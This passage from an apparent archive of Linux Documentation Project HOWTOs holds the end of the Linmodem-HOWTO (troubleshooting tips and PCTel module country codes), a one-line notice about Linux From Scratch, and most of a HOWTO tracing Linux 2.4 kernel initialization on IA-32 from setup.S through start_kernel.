CONFIG_SOUND_MPU401=m
CONFIG_SOUND_YM3812=m
CONFIG_SOUND_VMIDI=m
CONFIG_SOUND_YMPCI=m
CONFIG_LOWLEVEL_SOUND=y

    Either CONFIG_SOUND=m or CONFIG_SOUND=yes would show that the kernel has sound support (as would simple sound output).

    If none of these helps, you may wish to consider trying to use a kernel version which is closer to the module. Otherwise, try the mailing list at Linmodems.org for help.

7.7 I get a kernel panic on closing the connection or unloading the driver.

There are a couple of possible solutions to this, neither of which may work:

  • Try a different ppp dialer (wvdial, kppp).
  • Configure the module so that it stays in the kernel, i.e. so that it is not unloaded.

7.8 Nothing seems to work. To whom can I turn for help?

  • Double-check that the modem you have is actually supported by the module you have. See "Which Linmodem Hardware Is Supported?" above.
  • Try to determine at which stage of the installation process things break down. Check the man pages on the commands used in that stage and see if you can determine the source of the problem.

If all seems lost, please see the section "Troubleshooting", below , and consider sending a message with the complete information described there to the mailing list at Linmodems.org.

7.9 Who wrote the driver for my winmodem, and how do I contact him/her?

If a contact address is not given above, you can in general assume that it was probably somebody on contract to the manufacturer, who probably does not have the authority the update/release/change the source code, and who probably doesn't have time to reply to your email in any case. See, for example, http://lwn.net/1999/1209/a/lucent.html


Linmodem-HOWTO : Appendix

 Next Previous Contents

8. Appendix

8.1 PCTel Module Parameters: Country Code

The following is quoted from one of the PCTel readme files. Thus you can choose the appropriate country code by inserting the module with a parameter as:

insmod pctel.o country_code=7
(the "7" being replaced by your country code from the list below). Thanks to Jonathan Emery for pointing out the correct syntax.

Set and report country code.

This driver takes a module parameter to setup the correct country code
setting for various country's telephone networks and it also can report
back the country code been set.

Here are the two versions for country_code selection and reporting:

VERSION #1:

To set country code:
"country_sel_rep   sel   7" will sets the country code to 7.

To query the driver for the currently set country code:
"country_sel_rep   rep" returns the current country code as the exit code.

VERSION #2:

To set country code:
"country_sel   7" to set the country code to 7.

To query the driver for the currently set country code:
"country_rep" return the current country code as the exit code.

country_code                    country_name

    1                           USA
    2                           FRANCE
    3                           GERMANY
    4                           ITALY
    5                           SWEDEN
    6                           UK
    7                           JAPAN
    8                           AUSTRALIA
    9                           SPAIN
   10                           TAIWAN
   11                           SINGAPORE
   12                           KOREA
   13                           SWITZERLAND
   14                           NORWAY
   15                           NETHERLANDS
   16                           BELGIUM
   17                           CANADA
   18                           IRELAND
   19                           PORTUGAL
   20                           POLAND
   21                           HUNGARY
   22                           FINLAND
   23                           DENMARK
   24                           AUSTRIA
   25                           S.AFRICA
   26                           CTR21 COUNTRIES
   27                           CHINA
   28                           MALAYSIA
   29                           LUXUMBURG
   30                           GREECE
   31                           ICELAND
   32                           NEW ZEALAND
   33                           BRAZIL


Linux From Scratch

Gerard Beekmans

Version 2.4, September, 2000

This document describes the process of creating your own Linux system from scratch from an already installed Linux distribution, using nothing but the source code of software that we need

Replaced by the Linux From Scratch book.


Linux 2.4.x Initialization for IA-32 HOWTO

Randy Dunlap, rddunlap@ieee.org

v1.0, 2001-05-17

This document contains a description of the Linux 2.4 kernel initialization sequence on IA-32 processors.

1. Introduction

  • 1.1 Overview
  • 1.2 This document
  • 1.3 Contributions
  • 1.4 Trademarks
  • 1.5 License

2. Linux init ("ASCII art")

3. Linux early setup

  • 3.1 IA-32 Kernel Setup
  • 3.2 Video Setup

4. Linux architecture-specific initialization

  • 4.1 startup_32:
  • 4.2 Set segment registers to known values
  • 4.3 SMP BSP (Bootstrap Processor) check
  • 4.4 Initialize page tables
  • 4.5 Enable paging
  • 4.6 Clear BSS
  • 4.7 32-bit setup
  • 4.8 Copy boot parameters and command line out of the way
  • 4.9 checkCPUtype
  • 4.10 Count this processor
  • 4.11 Load descriptor table pointer registers
  • 4.12 Start other processors

5. Linux architecture-independent initialization

  • 5.1 start_kernel:
  • 5.2 setup_arch
  • 5.3 init thread
  • 5.4 do_basic_setup {part of the init thread}

6. Glossary

7. References


Linux 2.4.x Initialization for IA-32 HOWTO: Introduction

 Next Previous Contents

1. Introduction

Portions of this text come from comments in the kernel source files (obviously). I have added annotations in many places. I hope that this will be useful to kernel developers -- either new ones or experienced ones who need more of this type of information. However, if there's not enough detail here for you, "Use the Source."

1.1 Overview

This description is organized as a brief overview which lists the sections that are described later in more detail.

The description is in three main sections. The first section covers early kernel initialization on IA-32 (but only after your boot loader of choice and other intermediate loaders have run; i.e., this description does not cover loading the kernel). This section is based on the code in "linux/arch/i386/boot/setup.S" and "linux/arch/i386/boot/video.S".

The second major section covers Linux initialization that is x86- (or i386- or IA-32-) specific. This section is based on the source files "linux/arch/i386/kernel/head.S" and "linux/arch/i386/kernel/setup.c".

The third major section covers Linux initialization that is architecture-independent. This section is based on the flow in the source file "linux/init/main.c".

See the References section for other valuable documents about booting, loading, and initialization.

1.2 This document

This document describes Linux 2.4.x initialization on IA-32 (or i386 or x86) processors -- after one or more kernel boot loaders (if any) have done their job.

You can format it using the commands (for example):

% sgml2txt ia32_init_240.sgml
or
% sgml2html ia32_init_240.sgml

This will produce plain ASCII or HTML files respectively. You can also produce LaTeX, GNU, and RTF info by using the proper sgmltool (man sgmltools).

1.3 Contributions

Additions and corrections are welcome. Please send them to me (rddunlap@ieee.org). Contributions of section descriptions that are used will be credited to their author(s).

1.4 Trademarks

All trademarks are the property of their respective owners.

1.5 License

Copyright (C) 2001 Randy Dunlap.

This document may be distributed only subject to the terms and conditions set forth in the LDP (Linux Documentation Project) License at "http://www.linuxdoc.org/COPYRIGHT.html".


Linux 2.4.x Initialization for IA-32 HOWTO: Linux init ("ASCII art")

 Next Previous Contents

2. Linux init ("ASCII art")

Pictorially (loosely speaking :), Linux initialization looks like this, where "[...]" means optional (depends on the kernel's configuration) and "{...}" is a comment.

  +-------------------------------+
  | arch/i386/boot/setup.S:: +    |
  | arch/i386/boot/video.S::      |
  |-------------------------------|
  | start_of_setup:               |
  |   check that loaded OK        |
  |   get system memory size      |
  |   get video mode(s)           |
  |   get hard disk parameters    |
  |   get MC bus information      |
  |   get mouse information       |
  |   get APM BIOS information    |
  |   enable address line A20     |
  |   reset coprocessor           |
  |   mask all interrupts         |
  |   move to protected mode      |
  |   jmp to startup_32           |
  +-------------------------------+
                  |
                  v
  +-------------------------------+
  | arch/i386/kernel/head.S::     |
  |-------------------------------|
  | startup_32:                   |
  |   set segment registers to    |
  |     known values              |
  |   init basic page tables      |
  |   setup the stack pointer     |
  |   clear kernel BSS            |
  |   setup the IDT               |
  |   checkCPUtype                |
  |   load GDT, IDT, and LDT      |
  |     pointer registers         |
  |   start_kernel                |
  |     {it does not return}      |
  +-------------------------------+
                  |
                  v
  +-------------------------------+     +-------------------------------+
  | init/main.c::                 |  +->| arch/i386/kernel/setup.c::    |
  |-------------------------------|  |  |-------------------------------|
  | start_kernel():               |  |  | setup_arch():                 |
  |   lock_kernel                 |  |  |   copy boot parameters        |
  |   setup_arch                  |--+  |   init ramdisk                |
  |   parse_options               |<-+  |   setup_memory_region         |
  |   trap_init                   |  |  |   parse_cmd_line              |
  |     cpu_init                  |  |  |   use the BIOS memory map to  |
  |   init_IRQ                    |  |  |     setup page frame info.    |
  |   sched_init                  |  |  |   reserve physical page 0     |
  |     init_timervecs            |  |  |  [find_smp_config]            |
  |   time_init                   |  |  |   paging_init                 |
  |   softirq_init                |  |  |  [get_smp_config]             |
  |   console_init                |  |  |  [init_apic_mappings]         |
  |  [init_modules]               |  |  |  [reserve INITRD memory]      |
  |  [profiling setup]            |  |  |   probe_roms to search        |
  |   kmem_cache_init             |  |  |     for option ROMs           |
  |   sti                         |  |  |   request_resource to         |
  |   calibrate_delay             |  |  |     reserve video RAM memory  |
  |  [INITRD setup]               |  |  |   request_resource to         |
  |   mem_init                    |  |  |     reserve all standard PC   |
  |     free_all_bootmem          |  +--|     I/O system board resources|
  |   kmem_cache_sizes_init       |     +-------------------------------+
  |  [proc_root_init]             |
  |   fork_init                   |
  |   proc_caches_init            |
  |   vfs_caches_init             |
  |   buffer_init                 |
  |   page_cache_init             |
  |   kiobuf_setup                |
  |   signals_init                |     +-------------------------------+
  |   bdev_init                   |     | init/main.c::                 |
  |   inode_init                  |     | init(): {...init thread...}   |
  |  [ipc_init]                   |     |   do_basic_setup              |
  |  [dquot_init_hash]            |     |     {bus/dev init & initcalls}|
  |   check_bugs                  |     |   free_initmem                |
  |  [smp_init] {*below}          |     |   open /dev/console           |
  |   start init thread {---->}   |.....| exec init script or shell     |
  |   unlock_kernel               |     |   or panic                    |
  |   cpu_idle                    |     +-------------------------------+
  +-------------------------------+

  +-------------------------------+
  | smpboot.c::smp_init           |
  |-------------------------------|
  | arch/i386/kernel/smpboot.c::  |
  | smp_boot_cpus():              |
  |  [mtrr_init_boot_cpu]         |
  |   smp_store_cpu_info          |
  |   print_cpu_info              |
  |   save CPU ID/APIC ID mappings|
  |   verify_local_APIC           |
  |   connect_bsp_APIC            |
  |   setup_local_APIC            |
  |   foreach valid APIC ID       |
  |     do_boot_cpu(apicid)       |
  |   setup_IO_APIC               |
  |   setup_APIC_clocks           |
  |   synchronize_tsc_bp          |
  +-------------------------------+


Linux 2.4.x Initialization for IA-32 HOWTO: Linux early setup

 Next Previous Contents

3. Linux early setup

(from linux/arch/i386/boot/setup.S and linux/arch/i386/boot/video.S)

NOTE: Register notation is %regname and constant notation is a number, with or without a leading '$' sign.

3.1 IA-32 Kernel Setup

"setup.S" is responsible for getting the system data from the BIOS and putting them into the appropriate places in system memory.

Both "setup.S" and the kernel have been loaded by the boot block.

"setup.S" is assembled as 16-bit real-mode code. It switches the processor to 32-bit protected mode and jumps to the 32-bit kernel code.

This code asks the BIOS for memory/disk/other parameters, and puts them in a "safe" place: 0x90000-0x901FF, that is, where the boot block used to be. It is then up to the protected mode system to read them from there before the area is overwritten for buffer-blocks.

The "setup.S" code begins with a jmp instruction around the "setup header", which must begin at location %cs:2.

This is the setup header:

                .ascii  "HdrS"          # header signature
                .word   0x0202          # header version number
realmode_swtch: .word   0, 0            # default_switch, SETUPSEG
start_sys_seg:  .word   SYSSEG
                .word   kernel_version  # pointer to kernel version string
type_of_loader: .byte   0
loadflags:
LOADED_HIGH     = 1             # If set, the kernel is loaded high
#ifndef __BIG_KERNEL__
                .byte   0
#else
                .byte   LOADED_HIGH
#endif
setup_move_size: .word  0x8000  # size to move, when setup is not
                                # loaded at 0x90000.
code32_start:                   # here loaders can put a different
                                # start address for 32-bit code.
#ifndef __BIG_KERNEL__
                .long   0x1000  # default for zImage
#else
                .long   0x100000# default for big kernel
#endif
ramdisk_image:  .long   0       # address of loaded ramdisk image
ramdisk_size:   .long   0       # its size in bytes
bootsect_kludge: .word  bootsect_helper, SETUPSEG
heap_end_ptr:   .word   modelist+1024   # (Header version 0x0201 or later)
                                        # space from here (exclusive) down to
                                        # end of setup code can be used by setup
                                        # for local heap purposes.
pad1:           .word   0
cmd_line_ptr:   .long   0       # (Header version 0x0202 or later)
                                # If nonzero, a 32-bit pointer
                                # to the kernel command line.
trampoline:     call    start_of_setup  # no return from start_of_setup
                .space  1024
# End of setup header #####################################################

start_of_setup:

Read second hard drive DASD type

Read the DASD type of the second hard drive (BIOS int. 0x13, %ax=0x1500, %dl=0x81).

# Bootlin depends on this being done early. [TBD:why?]

Check that LILO loaded us right

Check the signature words at the end of setup. Signature words are used to ensure that LILO loaded us right. If the two words are not found correctly, copy the setup sectors and check for the signature words again. If they still aren't found, panic("No setup signature found ...").

Check old loader trying to load a big kernel

If the kernel image is "big" (and hence is "loaded high"), then if the loader cannot handle "loaded high" images, then panic ("Wrong loader, giving up...").

Determine system memory size

Get the extended memory size {above 1 MB} in KB. First clear the extended memory size to 0.

#ifndef STANDARD_MEMORY_BIOS_CALL

Clear the E820 memory area counter.

Try three different memory detection schemes.
First, try E820h, which lets us assemble a memory map, then try E801h, which returns a 32-bit memory size, and finally 88h, which returns 0-64 MB.

Method E820H populates a table in the empty_zero_block that contains a list of usable address/size/type tuples. In "linux/arch/i386/kernel/setup.c", this information is transferred into the e820map, and in "linux/arch/i386/mm/init.c", that new information is used to mark pages reserved or not.

Method E820H:
Get the BIOS memory map. E820h returns memory classified into different types and allows memory holes. We scan through this memory map and build a list of the first 32 memory areas {up to 32 entries or BIOS says that there are no more entries}, which we return at "E820MAP". [See URL: http://www.teleport.com/ acpi/acpihtml/topic245.htm]

Method E801H:
We store the 0xe801 memory size in a completely different place, because it will most likely be longer than 16 bits.

This is the sum of 2 registers, normalized to 1 KB chunk sizes: %ecx = memory size from 1 MB to 16 MB range, in 1 KB chunks + %edx = memory size above 16 MB, in 64 KB chunks.

Ye Olde Traditional Methode:
BIOS int. 0x15/AH=0x88 returns the memory size (up to 16 MB or 64 MB, depending on the BIOS). We always use this method, regardless of the results of the other two methods.

#endif

Set the keyboard repeat rate to the maximum rate using using BIOS int. 0x16.

Video adapter modes

Find the video adapter and its supported modes and allow the user to browse video modes.

call video # {see Video section below}

Get Hard Disk parameters

Get hd0 data: Save the hd0 descriptor (from int. vector 0x41) at INITSEG:0x80 length 0x10.

Get hd1 data: Save the hd1 descriptor (from int. vector 0x46) at INITSEG:0x90 length 0x10.

Check that there IS an hd1, using BIOS int. 0x13. If not, clear its descriptor.

Get Micro Channel bus information

Check for Micro Channel (MCA) bus:

  • Set MCA feature table length to 0 in case not found.
  • Get System Configuration Parameters (BIOS int. 0x15/%ah=0xc0). This sets %es:%bx to point to the system feature table.
  • We keep only the first 16 bytes of the system feature table if found: Structure size, Model byte, Submodel byte, BIOS revision, and Feature information bytes 1-5. Bit 0 or 1 (either one) of Feature byte 1 indicates that the system contains a Micro Channel bus.

Check for mouse

Check for PS/2 pointing device by using BIOS int. 0x11 {get equipment list}.

  • Clear the pointing device flag (default).
  • BIOS int. 0x11: get equipment list.
  • If bit 2 (value 0x04) is set, then a mouse is installed and the pointing device flag is set to indicate that the device is present.

Check for APM BIOS support

Check for an APM BIOS (if kernel is configured for APM support):

  • start: clear version field to 0, which means no APM BIOS present.
  • Check for APM BIOS installation using BIOS int. 0x15.
  • If not present, done.
  • Check for "PM" signature returned in %bx.
  • If no signature, then no APM BIOS: done.
  • Check for 32-bit support in %cx.
  • If no 32-bit support, no (good) APM BIOS: done. Must have 32-bit APM BIOS support to be used by Linux.
  • Save the BIOS code segment, BIOS entry point offset, BIOS 16-bit code segment, BIOS data segment, BIOS code segment length, and BIOS data segment length.
  • Record the APM BIOS version and flags.

Prepare to move to protected mode

We build a jump instruction to the kernel's code32_start address. (The loader may have changed it.)

Move the kernel to its correct place if necessary.

Load the segment descriptors (load %ds = %cs).

Make sure that we are at the right position in memory, to accommodate the command line and boot parameters at their fixed locations.

Load the IDT pointer register with 0,0.

Calculate the linear base address of the kernel GDT (table) and load the GDT pointer register with its base address and limit. This early kernel GDT describes kernel code as 4 GB, with base address 0, code/readable/executable, with granularity of 4 KB. The kernel data segment is described as 4 GB, with base address 0, data/readable/writable, with granularity of 4 KB.

Enable address line A20

  • Empty the 8042 (keyboard controller) of any queued keys.
  • Write 0xd1 (Write Output Port) to Command Register port 0x64.
  • Empty the 8042 (keyboard controller) of any queued keys.
  • Write 0xdf (Gate A20 + more) to Output port 0x60.
  • Empty the 8042 (keyboard controller) of any queued keys.
  • Set bit number 1 (value 0x02: FAST_A20) in the "port 0x92" system control register. This enables A20 on some systems, depending on the chipset used in them.
  • Wait until A20 really *is* enabled; it can take a fair amount of time on certain systems. The memory location used here (0x200) is the int 0x80 vector, which should be safe to use. When A20 is disabled, the test memory locations are an alias of each other (segment 0:offset 0x200 and segment 0xffff:offset 0x210). {0xffff0 + 0x210 = 0x100200, but if A20 is disabled, this becomes 0x000200.} We just wait (busy wait/loop) until these memory locations are no longer aliased.

Make sure any possible coprocessor is properly reset

  • Write 0 to port 0xf0 to clear the Math Coprocessor '-busy' signal.
  • Write 0 to port 0xf1 to reset the Math Coprocessor.

Mask all interrupts

Now we mask all interrupts; the rest is done in init_IRQ().

  • Mask off all interrupts on the slave PIC: write 0xff to port 0xa1.
  • Mask off all interrupts on the master PIC except for IRQ2, which is the cascaded IRQ input from the slave PIC: write 0xfb to port 0x21.

Move to Protected Mode

Now is the time to actually move into protected mode. To make things as simple as possible, we do no register setup or anything, we let the GNU-compiled 32-bit programs do that. We just jump to absolute address 0x1000 (or the loader supplied one), in 32-bit protected mode.

Note that the short jump isn't strictly needed, although there are reasons why it might be a good idea. It won't hurt in any case.

Set the PE (Protected mode Enable) bit in the MSW and jump to the following instruction to flush the instruction fetch queue.

Clear %bx to indicate that this is the BSP (first CPU only).

Jump to startup_32 code

Jump to the 32-bit kernel code (startup_32).

NOTE: For high-loaded big kernels we need:

        jmpi    0x100000,__KERNEL_CS
but we yet haven't reloaded the %cs register, so the default size of the target offset still is 16 bit. However, using an operand prefix (0x66), the CPU will properly take our 48-bit far pointer. (INTeL 80386 Programmer's Reference Manual, Mixing 16-bit and 32-bit code, page 16-6).

        .byte 0x66, 0xea                # prefix + jmpi-opcode
code32: .long   0x1000                  # or 0x100000 for big kernels
        .word   __KERNEL_CS

This jumps to "startup_32" in "linux/arch/i386/kernel/head.S".

3.2 Video Setup

"linux/arch/i386/boot/video.S" is included into "linux/arch/i386/boot/setup.S", so they are assembled together. The file separation is a logical module separation even though the two modules aren't built separately.

"video.S" handles Linux/i386 display adapter and video mode setup. For more information about Linux/i386 video modes, see "linux/Documentation/svga.txt" by Martin Mares [mj@ucw.cz].

Video mode selection is a kernel build option. When it is enabled, You can select a specific (fixed) video mode to be used during kernel booting or you can ask to view a selection menu and then choose a video mode from that menu.

There are a few esoteric (!) "video.S" build options that not covered here. See "linux/Documentation/svga.txt" for all of them.

CONFIG_VIDEO_SVGA (for automatic detection of SVGA adapters and modes) is normally #undefined. The normal method of video adapter detection on Linux/i386 is VESA (CONFIG_VIDEO_VESA, for autodetection of VESA modes).

"video:" is the main entry point called by "setup.S". The %ds register *must* be pointing to the bootsector. The "video.S" code uses different segments from the main "setup.S" code.

This is a simplified description of the code flow in "video.S". It does not address the CONFIG_VIDEO_LOCAL, CONFIG_VIDEO_400_HACK, and CONFIG_VIDEO_GFX_HACK build options and it does not dive deep into video BIOS calls or video register accesses.

video:

  • %fs is set to the original %ds value
  • %ds and %es are set to %cs
  • %gs is set to zero
  • Detect the video adapter type and supported modes. (call basic_detect)
  • #ifdef CONFIG_VIDEO_SELECT
  • If the user wants to see a list of the supported VGA adapter modes, list them. (call mode_menu)
  • Set the selected video mode. (call mode_set)
  • #ifdef CONFIG_VIDEO_RETAIN
  • Restore the screen contents. (call restore_screen)
  • #endif /* CONFIG_VIDEO_RETAIN */
  • #endif /* CONFIG_VIDEO_SELECT */
  • Store mode parameters for kernel. (call mode_params)
  • Restore original DS register value.

basic_detect:

  • Detect if we have CGA, MDA, HGA, EGA, or VGA and pass it to the kernel.
  • Check for EGA/VGA using BIOS int. 0x10 calls. This also tells whether the video adapter is CGA/MDA/HGA.
  • The "adapter" variable is returned as 0 for CGA/MDA/HGA, 1 for EGA, and 2 for VGA.

mode_params:

  • Store the video mode parameters for later use by the kernel. This is done by asking the BIOS for mode parameters except for the rows/columns parameters in the default 80x25 mode -- these are set directly, because some very obscure BIOSes supply insane values.
  • #ifdef CONFIG_VIDEO_SELECT
  • For graphics mode with a linear frame buffer, goto mopar_gr.
  • #endif /* CONFIG_VIDEO_SELECT */
  • For MDA/CGA/HGA/EGA/VGA:
  • Read and save cursor position.
  • Read and save video page/mode/width.
  • For MDA/HGA, change the video_segment to $0xb000. (Leave it at its initial value of $0xb800 for all other adapters.)
  • Get the Font size (valid only on EGA/VGA).
  • Save the number of video columns and lines.

#ifdef CONFIG_VIDEO_SELECT

mopar_gr:

  • Get VESA frame buffer parameters.
  • Get video mem size and protected mode interface information using BIOS int. 0x10 calls.

mode_menu:

Build the mode list table and display the mode menu.

mode_set:

For the selected video mode, use BIOS int. 0x10 calls or register writes as needed to set some or all of:

  • Reset the video mode
  • Number of scan lines
  • Font pixel size
  • Save the screen size in force_size. "force_size" is used to override possibly broken video BIOS interfaces and is used instead of the BIOS variables.

Some video modes require register writes to set:

  • Location of the cursor scan lines
  • Vertical sync start
  • Vertical sync end
  • Vertical display end
  • Vertical blank start
  • Vertical blank end
  • Vertical total
  • (Vertical) overflow
  • Correct sync polarity
  • Preserve clock select bits and color bit

{end of mode_set}

#ifdef CONFIG_VIDEO_RETAIN /* Normally _IS_ #defined */

store_screen:

CONFIG_VIDEO_RETAIN is used to retain screen contents when switching modes. This option stores the screen contents to a temporary memory buffer (if there is enough memory) so that they can be restored later.

  • Save the current number of video lines and columns, cursor position, and video mode.
  • Calculate the image size.
  • Save the screen image.
  • Set the "do_restore" flag so that the screen contents will be restored at the end of video mode detection/selection.

restore_screen:

Restores screen contents from temporary buffer (if already saved).

  • Get parameters of current mode.
  • Set cursor position.
  • Restore the screen contents.

#endif /* CONFIG_VIDEO_RETAIN */

mode_table:

Build the table of video modes at `modelist'.

  • Store standard modes.
  • Add modes for standard VGA.
  • #ifdef CONFIG_VIDEO_LOCAL
  • Add locally-defined video modes. (call local_modes)
  • #endif /* CONFIG_VIDEO_LOCAL */
  • #ifdef CONFIG_VIDEO_VESA
  • Auto-detect VESA VGA modes. (call vesa_modes)
  • #endif /* CONFIG_VIDEO_VESA */
  • #ifdef CONFIG_VIDEO_SVGA
  • Detect SVGA cards & modes. (call svga_modes)
  • #endif /* CONFIG_VIDEO_SVGA */
  • #ifdef CONFIG_VIDEO_COMPACT
  • Compact the video modes list, removing duplicate entries.
  • #endif /* CONFIG_VIDEO_COMPACT */

mode_scan:

Scans for video modes.

  • Start with mode 0.
  • Test the mode.
  • Test if it's a text mode.
  • OK, store the mode.
  • Restore back to mode 3.

#ifdef CONFIG_VIDEO_SVGA

svga_modes:

Try to detect the type of SVGA card and supply (usually approximate) video mode table for it.

  • Test all known SVGA adapters.
  • Call the test routine for each adapter.
  • If adapter is found, copy the video modes.
  • Store pointer to card name.

#endif /* CONFIG_VIDEO_SVGA */

#endif /* CONFIG_VIDEO_SELECT */


Linux 2.4.x Initialization for IA-32 HOWTO: Linux architecture-specific initialization

 Next Previous Contents

4. Linux architecture-specific initialization

(from "linux/arch/i386/kernel/head.S")

The boot code in "linux/arch/i386/boot/setup.S" transfers execution to the beginning code in "linux/arch/i386/kernel/head.S" (labeled "startup_32:").

To get to this point, a small uncompressed kernel function decompresses the remaining compressed kernel image and then it jumps to the new kernel code.

This is a description of what the "head.S" code does.

4.1 startup_32:

swapper_pg_dir is the top-level page directory, address 0x00101000.

On entry, %esi points to the real-mode code as a 32-bit pointer.

4.2 Set segment registers to known values

Set the %ds, %es, %fs, and %gs registers to __KERNEL_DS.

4.3 SMP BSP (Bootstrap Processor) check

#ifdef CONFIG_SMP

If %bx is zero, this is a boot on the Bootstrap Processor (BSP), so skip this. Otherwise, for an AP (Application Processor):

If the desired %cr4 setting is non-zero, turn on the paging options (PSE, PAE, ...) and skip "Initialize page tables" (jump to "Enable paging").

#endif /* CONFIG_SMP */

4.4 Initialize page tables

Begin at pg0 (page 0) and init all pages to 007 (PRESENT + RW + USER).

4.5 Enable paging

Set %cr3 (page table pointer) to swapper_pg_dir.

Set the paging ("PG") bit of %cr0 to
********** enable paging **********.

Jump $ to flush the prefetch queue.

Jump *[$] to make sure that %eip is relocated.

Setup the stack pointer (lss stack_start, %esp).

#ifdef CONFIG_SMP

If this is not the BSP (Bootstrap Processor), clear all flags bits and jump to checkCPUtype.

#endif /* CONFIG_SMP */

4.6 Clear BSS

The BSP clears all of BSS (area between __bss_start and _end) for the kernel.

4.7 32-bit setup

Setup the IDT for 32-bit mode (call setup_idt). setup_idt sets up an IDT with 256 entries pointing to the default interrupt handler "ignore_int" as interrupt gates. It doesn't actually load the IDT; that can be done only after paging has been enabled and the kernel moved to PAGE_OFFSET. Interrupts are enabled elsewhere, when we can be relatively sure everything is OK.

Clear the eflags register (before switching to protected mode).

4.8 Copy boot parameters and command line out of the way

First 2 KB of _empty_zero_page is for boot parameters, second 2 KB is for the command line.

4.9 checkCPUtype

Initialize X86_CPUID to -1.

Use Flags register, push/pop results, and CPUID instruction(s) to determine CPU type and vendor: Sets X86, X86_CPUID, X86_MODEL, X86_MASK, and X86_CAPABILITY. Sets bits in %cr0 accordingly.

Also checks for presence of an 80287 or 80387 coprocessor. Sets X86_HARD_MATH if a math coprocessor or floating point unit is found.

4.10 Count this processor

For CONFIG_SMP builds, increment the "ready" counter to keep a tally of the number of CPUs that have been initialized.

4.11 Load descriptor table pointer registers

Load GDT with gdt_descr and IDT with idt_descr. The GDT contains 2 entries for the kernel (4 GB each for code and data, beginning at 0) and 2 userspace entries (4 GB each for code and data, beginning at 0). There are 2 null descriptors between the userspace descriptors and the APM descriptors.

The GDT also contains 4 entries for APM segments. The APM segments have byte granularity and their bases and limits are set at runtime.

The rest of the gdt_table (after the APM segments) is space for TSSes and LDTs.

Jump to __KERNEL_CS:%eip to cause the GDT to be used. Now in
********** protected mode **********.

Reload all of the segment registers: Set the %ds, %es, %fs, and %gs registers to __KERNEL_DS.

#ifdef CONFIG_SMP

Reload the stack pointer segment only (%ss) with __KERNEL_DS.

#else /* not CONFIG_SMP */

Reload the stack pointer (%ss:%esp) with stack_start.

#endif /* CONFIG_SMP */

Clear the LDT pointer to 0.

Clear the processor's Direction Flag (DF) to 0 for gcc.

4.12 Start other processors

For CONFIG_SMP builds, if this is not the first (Bootstrap) CPU, call initialize_secondary(), which does not return. The secondary (AP) processor(s) are initialized and then enter idle state until processes are scheduled on them.

If this is the first or only CPU, call start_kernel(). (see below)

/* the calls above should never return, but in case they do: */

L6: jmp L6


Linux 2.4.x Initialization for IA-32 HOWTO: Linux architecture-independent initialization

 Next Previous Contents

5. Linux architecture-independent initialization

(from "linux/init/main.c")

"linux/init/main.c" begins execution with the start_kernel() function, which is called from "linux/arch/i386/kernel/head.S". start_kernel() never returns to its caller. It ends by calling the cpu_idle() function.

5.1 start_kernel:

Interrupts are still disabled. Do necessary setups, then enable them.

Lock the kernel (BKL: big kernel lock).

Print the linux_banner string (this string resides in "linux/init/version.c") using printk(). NOTE: printk() doesn't actually print this to the console yet; it just buffers the string until a console device registers itself with the kernel, then the kernel passes the buffered console log contents to the registered console device(s). There can be multiple registered console devices.

********** printk() can be called very early because it doesn't actually print to anywhere. It just logs the message to "log_buf", which is allocated statically in "linux/kernel/printk.c". The messages that are saved in "log_buf" are passed to registered console devices as they register. **********

More architecture-specific init

Call setup_arch(&command_line):

This performs architecture-specific initializations (details below). Then back to architecture-independent initialization....

The remainder of start_kernel() is done as follows for all processor architecures, although several of these function calls are to architecture-specific setup/init functions.

Continue architecture-independent init

Print the kernel command line.

Parsing command line options

parse_options(command_line): Parse the kernel options on the command line. This is a simple kernel command line parsing function. It parses the command line and fills in the arguments and environment to init (thread) as appropriate. Any command-line option is taken to be an environment variable if it contains the character '='. It also checks for options meant for the kernel by calling checksetup(), which checks the command line for kernel parameters, these being specified by declaring them using "__setup", as in:

__setup("debug", debug_kernel);

This declaration causes the debug_kernel() function to be called when the string "debug" is scanned. See "linux/Documentation/kernel-parameters.txt" for the list of kernel parameters.

These options are not given to init -- they are for internal kernel use only. The default argument list for the init thread is {"init", NULL}, with a maximum of 8 command-line arguments. The default environment list for the init thread is {"HOME=/", "TERM=linux", NULL}, with a maximum of 8 command-line environment variable settings. In case LILO is going to boot us with default command line, it prepends "auto" before the whole cmdline which makes the shell think it should execute a script with such name. So we ignore all arguments entered _before_ init=... [MJ]

trap_init

(in linux/arch/i386/kernel/traps.c)

Install exception handlers for basic processor exceptions, i.e., not hardware device interrupt handlers.

Install the handler for the system call software interrupt.

Install handlers for lcall7 (for iBCS) and lcall27 (for Solaris/x86 binaries).

Call cpu_init() to do:

  • initialize per-CPU state
  • reload the GDT and IDT
  • mask off the eflags NT (Nested Task) bit
  • set up and load the per-CPU TSS and LDT
  • clear 6 debug registers (0, 1, 2, 3, 6, and 7)
  • stts(): set the 0x08 bit (TS: Task Switched) in CR0 to enable lazy register saves on context switches

init_IRQ

(in linux/arch/i386/kernel/i8259.c)

Call init_ISA_irqs() to initialize the two 8259A interrupt controllers and install default interrupt handlers for the ISA IRQs.

Set an interrupt gate for all unused interrupt vectors.

For CONFIG_SMP configurations, set up IRQ 0 early, since it's used before the IO APIC is set up.

For CONFIG_SMP, install the interrupt handler for CPU-to-CPU IPIs that are used for the "reschedule helper."

For CONFIG_SMP, install the interrupt handler for the IPI that is used to invalidate TLBs.

For CONFIG_SMP, install the interrupt handler for the IPI that is used for generic function calls.

For CONFIG_X86_LOCAL_APIC configurations, install the interrupt handler for the self-generated local APIC timer IPI.

For CONFIG_X86_LOCAL_APIC configurations, install interrupt handlers for spurious and error interrupts.

Set the system's clock chip to generate a timer tick interrupt every HZ Hz.

If the system has an external FPU, set up IRQ 13 to handle floating point exceptions.

sched_init

(in linux/kernel/sched.c)

  • Set the init_task's processor ID.
  • Clear the pidhash table. TBD: Why? isn't it in BSS?
  • call init_timervecs()
  • call init_bh() to init "bottom half" queues for timer_bh, tqueue_bh, and immediate_bh.

time_init

(in linux/arch/i386/kernel/time.c)

Initialize the system's current time of day (xtime) from CMOS.

Install the irq0 timer tick interrupt handler.

softirq_init

(in linux/kernel/softirq.c)

console_init

(in linux/drivers/char/tty_io.c)

HACK ALERT! This is early. We're enabling the console before we've done PCI setups etc., and console_init() must be aware of this. But we do want output early, in case something goes wrong.

init_modules

(in linux/kernel/module.c)

For CONFIG_MODULES configurations, call init_modules(). This initializes the size (or number of symbols) of the kernel symbol table.

Profiling setup

if profiling ("profile=#" on the kernel command line):
calculate the kernel text (code) profile "segment" size;
calculate the profile buffer size in pages (round up);
allocate the profile buffer: prof_buffer = alloc_bootmem(size);

kmem_cache_init

(in linux/mm/slab.c)

sti

********** Interrupts are now enabled. **********
